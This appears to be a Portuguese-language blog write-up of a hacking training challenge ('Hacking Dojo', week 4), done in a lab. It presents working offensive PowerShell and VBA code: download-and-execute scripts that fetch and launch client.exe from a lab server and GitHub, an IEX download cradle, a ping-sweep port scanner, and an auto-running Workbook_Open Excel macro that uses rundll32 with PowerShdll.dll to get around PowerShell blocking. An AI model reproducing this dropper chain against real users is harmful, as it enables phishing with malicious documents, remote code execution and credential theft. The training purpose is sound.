Home Hacking Dojo - Semana \x04
Post
Cancel

Hacking Dojo - Semana \x04

Dando continuidade no desafio do Hacking Dojo, hoje atacaremos a semana 04.

Esta semana vamos atacar diretamente as linguagens mais utilizadas no Windows. Utilizando de PowerShell e as Macros do Office.

Bora pra cima!!

Task \x1a

O PowerShell possui nativamente uma variedade de comandos e funções que podem auxiliar na facilidade de se trabalhar com linha de comando. Basicamente uma evolução do CMD (ou um cmd metido a besta!).

Algumas destas funções auxiliam exatamente no download e execução de executáveis. Sáo elas:

  • (New-Object System.Net.WebClient).DownloadFile() que nos permite fazer uma requisição web direto para um executável e baixá-lo
  • Start-Process () que nos permite executar um programa local

Se juntarmos os dois comandos, podemos facilmente cumprir o que esta task nos pede. O código ficou bem simples:

1
2
3
4
5
6
7
$Arquivo = "client.exe"
$End = "http://192.168.1.7/$Arquivo"

Clear-Host

(New-Object System.Net.WebClient).DownloadFile($End,"C:\Windows\Temp\$Arquivo")
Start-Process ("C:\Windows\Temp\$Arquivo")

Vamos iniciar nosso handler e o HTTP Server:

Com tudo pronto, só precisamos executar o script na VM Windows.

Logo após a execução, já podemos ver a requisição no HTTP Server e a conexão fita no handler, ao analisar os arquivos, temos o log com as credenciais salvas.

Este script, encerra esta task.

Task \x1b

De acordo com a minha interpretação desta task, precisamos fazer parecido com o que foi pedido na semana anterior. precisamos de um script que faça a varredura de todos os hosts ativos na rede local, e em seguida escanear todas as portas e informar quais estão abertas.

O script também não é complexo, abaixo como ficou, seguido da explicação passo-a-passo:

1
2
3
4
5
6
7
8
9
10
11
12
$ip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1].substring(0, 9)

For($i=0; $i -le 255; $i++){
    echo "`n"
    $hst = "$ip.$i"
    $test = Test-Connection -ComputerName $hst -Count 1 -Quiet
    if ( $test ) {
        echo "[-] $hst"
        1..65355 | % {echo ((new-object Net.Sockets.TcpClient).Connect($hst,$_)) "Porta $_ --- ABERTA"} 2>$null
    }
    
 } 

Na primeira linha $ip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1].substring(0, 9) salvamos na variável $ip o resultado do comando ipconfig seguido de um tratamento feito em regex. Este tratamento vai pegar os nove primeiros dígitos numéricos e salvar na variável. Exemplo: num IP 192.168.1.160 ele vai salvar 192.168.1, ou seja, sem a subrede do IP.

Nas linhas:

1
2
3
For($i=0; $i -le 255; $i++){
    echo "`n"
    $hst = "$ip.$i"

O script faz um loop de 255 voltas (quantidade de IPs na ,áscara de subrede /24) e pra cada volta do loop, adiciona a variável da contagem, ou seja, o IP que antes era 192.168.1 passa a ser 192.168.1.1 na primeira volta, 192.168.1.2 na segunda e assim por diante fazendo com que todos os IPs possíveis sejam gerados durante o loop.

Na linha $test = Test-Connection -ComputerName $hst -Count 1 -Quiet temos uma sequência de argumentos para a função Test-Connection -ComputerName. Esta função testa a conexão de um host repetidas vezes no terminal, para que não fique repetindo os testes, utilizamos o argumento -Count 1 para que seja feita somente uma tentativa. Por fim, utilizamos o argumento -Quiet, para que o resultado deste teste seja um booleano, ou seja True se o IP estiver ativo e False se o IP estiver inativo/

Nas linhas:

1
2
3
4
if ( $test ) {
        echo "[-] $hst"
        1..65355 | % {echo ((new-object Net.Sockets.TcpClient).Connect($hst,$_)) "Porta $_ --- ABERTA"} 2>$null
    }

Verificamos a resposta da função anterior, se o resultado for True, então inicia-se mais um loop que vai de 1 a 65355, que a quantidade de portas possíveis em uma máquina, para cada uma que estiver ativa, ele retora a frase Porta x --- ABERTA.

Este script não tem uma performance muito boa, porém atende ao que foi solicitado e pode ser de muita ajuda em uma situação real.

Ao executarmos o script, temos a sequinte resposta:

Este script, encerra esta task.

Tasks \x1c e \x1d

Bom, esta task automaticamente já está sendo feita, pois todo o trabalho já está sendo publicado em uma GitPage, porém deixo o link para leitura da melhor fonte possível para aprender git, sua documentação.

Task \x1e

Seguindo com as funções úteis do PowerShell que podemos utilizar, temos a IEX ou Invoke-Expression, basicamente este comando faz com que uma string seja executada como um comando, ou seja, se fizermos uma requisição para o script raw no GitHub e esta requisição for feita como string, ele executará o conteúdo de resposta.

O comando fica bem simples:

1
IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/h41stur/dojo/main/semana_04/27_port_sccanner.ps1')

Ao executá-lo, temos a resposta do portscan iniciado:

Isso encerra esta task.

Task \x1f

Agora vamos começar a trabalhar com o MS Office, o que se torna um pouco mais complexo numa epoca de 365. Porém, tenho uma licença que utilizo algumas vezes para trabalho, e será o suficiente para explorar as tasks do Dojo.

Esta task não tem segredo, precisamos habilitar as opções de desenvolvedor no excel. Para ativá-lo, precisamos clicar em Arquivos > Opções:

Em seguida clicar em Personalizar Faixa de Opções e finalmente habilitar a aba Desenvolvedor:

No final, a aba de Desenvolvedor estará habilitada no menu de ferramentas:

Task \x20

Agora iniciaremos na exploração de códigos em VBA. Já faz alguns anos que não utilizo macros do Office, portanto precisei relembrar várias coisas além de aprender coisas novas.

Esta task é muito simples, basicamente um aquecimento para o que está por vir, precisamos programar uma macro para imprimir uma mensagem na tela. O código é bem simples:

1
2
3
Sub Dojo()
MsgBox "Hacking Dojo"
End Sub

Onde Sub Dojo() define o nome da macro e MsgBox abre o pop-up com a mensagem. Ao clicarmos em Macros na aba Desenvolvedor, podemos ver a macro criada.

Ao executá-la, temos a mensagem impressa na tela:

Isto encerra esta task.

Task \x21

Agora as coisas começam a ficar interessantes, o VBA no Office possui uma função chamada Shell() onde podemos executar certos comandos e chamar certos executáveis.

Podemos invocar esta função chamando o cmd.exe que por sua vez vai chamar o PowerShell executando o comando. Esta função recebe dois parâmetros, o comando propriamente dito e o formato de saída. Os formatos de saída podem ser vistos na documentação da Microsoft.

A função ficou desta forma:

1
2
3
Sub PS()
pid = Shell("cmd.exe /k PowerShell -c whoami", vbNormalFocus)
End Sub

Ao executá-la, temos a resposta:

Isto encerra esta task.

Task \x22

Esta task também não tem segredo, uma vez que conseguimos executar comandos no cmd e já fizemos um script em PowerShell anteriormente para realizar a mesma função, só precisamos juntar os dois.

1
2
3
4
Sub Download_exec()
pid = Shell("cmd.exe /c PowerShell -c (New-Object System.Net.WebClient).DownloadFile('https://github.com/h41stur/dojo/blob/main/semana_04/client.exe?raw=true','C:\Windows\Temp\client.exe')", 1)
pid2 = Shell("cmd.exe /c PowerShell -c Start-Process ('C:\Windows\Temp\client.exe')", 1)
End Sub

Ao executar a macro, temos uma rápida abertura de duas telas do cmd (que também podem ser programadas para rodar em bacvkground).

Ao checarmos o diretório temporário do Windows, podemos ver que o arquivo boi baixado.

No Kali, temos a requisic”ao feita pelo programa normalmente encerrando a task.

Task \x23

Esta task deixa as coisas muito interessantes a partir do momento que utilizaremos o rundll32.exe que nos permite rodar um programa através de uma DLL.

Em resumo, uma DLL (Dynamic Link Library) são bibliotecas que contém instruções para outros programas, de forma grosseira, equivalente aos arquivos .so no Linux. Estes arquivos não necessariamente precisam ter a extensão .dll, também podem ter as extensões .ocx (ActiveX Controls), .cpl (Control Panel) e .drv (Device Drivers).

Acontece que, diferente dos arquivos .exe, uma DLL não é executável diretamente, porém o rundll32.exe pode fazer este papel chamando diretamente uma DLL. Mas onde isso pode ser uma vantagem?

Vamos supor que agum software de proteção esteja bloqueando a execução do PowerShell.exe, neste caso, não será possível executar o PS, porém e se o rodarmos diretamente por uma DLL?

Aí entra o runndll32, que nos auxilia nesta tarefa (o que também não é 100% de garantia, mas pode fazer o bypass de certas proteções).

Na versão do Windows que estou utilizando no Lab Windows 10 21H1, não existe a DLL PowerShdll.dll, porém, com uma simples pesquisa, foi possível encontrá-lo neste GitHub. Ao adicioná-lo no diretório C:\Windows\System32, é possível chamá-lo através do rundll32 com o comando rundll32 PowerShdll.dll,main conforme abaixo.

Logo, o que precisamos fazer em nossa Macro é utilizar exatamente este comando seguido do script, a macro ficou desta forma:

1
2
3
4
Sub Download_exec()
pid = Shell("rundll32.exe PowerShdll.dll,main (New-Object System.Net.WebClient).DownloadFile('https://github.com/h41stur/dojo/blob/main/semana_04/client.exe?raw=true','C:\Windows\Temp\client.exe')", 1)
pid2 = Shell("rundll32.exe PowerShdll.dll,main  Start-Process ('C:\Windows\Temp\client.exe')", 1)
End Sub

Ao executar a macro, temos novamente a execução do PowerShell e o Download seguido da execução do programa.

Task \x24

Com a macro feita, precisamos fazer com que ela execute automaticamente ao arquivo ser aberto, isto é ralativamente simples, só precisamos mudar a macro de lugar no VBA e alterar seu nome para um nome específico de sistema.

Primeiramente vamos retirá-la de Módulos dentro do editor do VBA e inseríla em EstaPastaDeTrabalho.

Após isto, precisamos alterar o nome da macro para Private Sub Workbook_Open(), o Workbook_Open() é um nome específico que indica que a macro será executada ao abrir o arquivo. A macro ficou desta forma:

1
2
3
4
Private Sub Workbook_Open()
pid = Shell("rundll32.exe PowerShdll.dll,main (New-Object System.Net.WebClient).DownloadFile('https://github.com/h41stur/dojo/blob/main/semana_04/client.exe?raw=true','C:\Windows\Temp\client.exe')", 1)
pid2 = Shell("rundll32.exe PowerShdll.dll,main  Start-Process ('C:\Windows\Temp\client.exe')", 1)
End Sub

Isto encerra esta task.

Nota

Todas as tasks envolvendo macros, só foram executadas com o Windows Defender desativado, pois como as macros são algo “manjado”, é muito fácil serem identificadas.

Encerramos mais uma semana do Dojo!

Bons estudos.

This post is licensed under CC BY 4.0 by the author.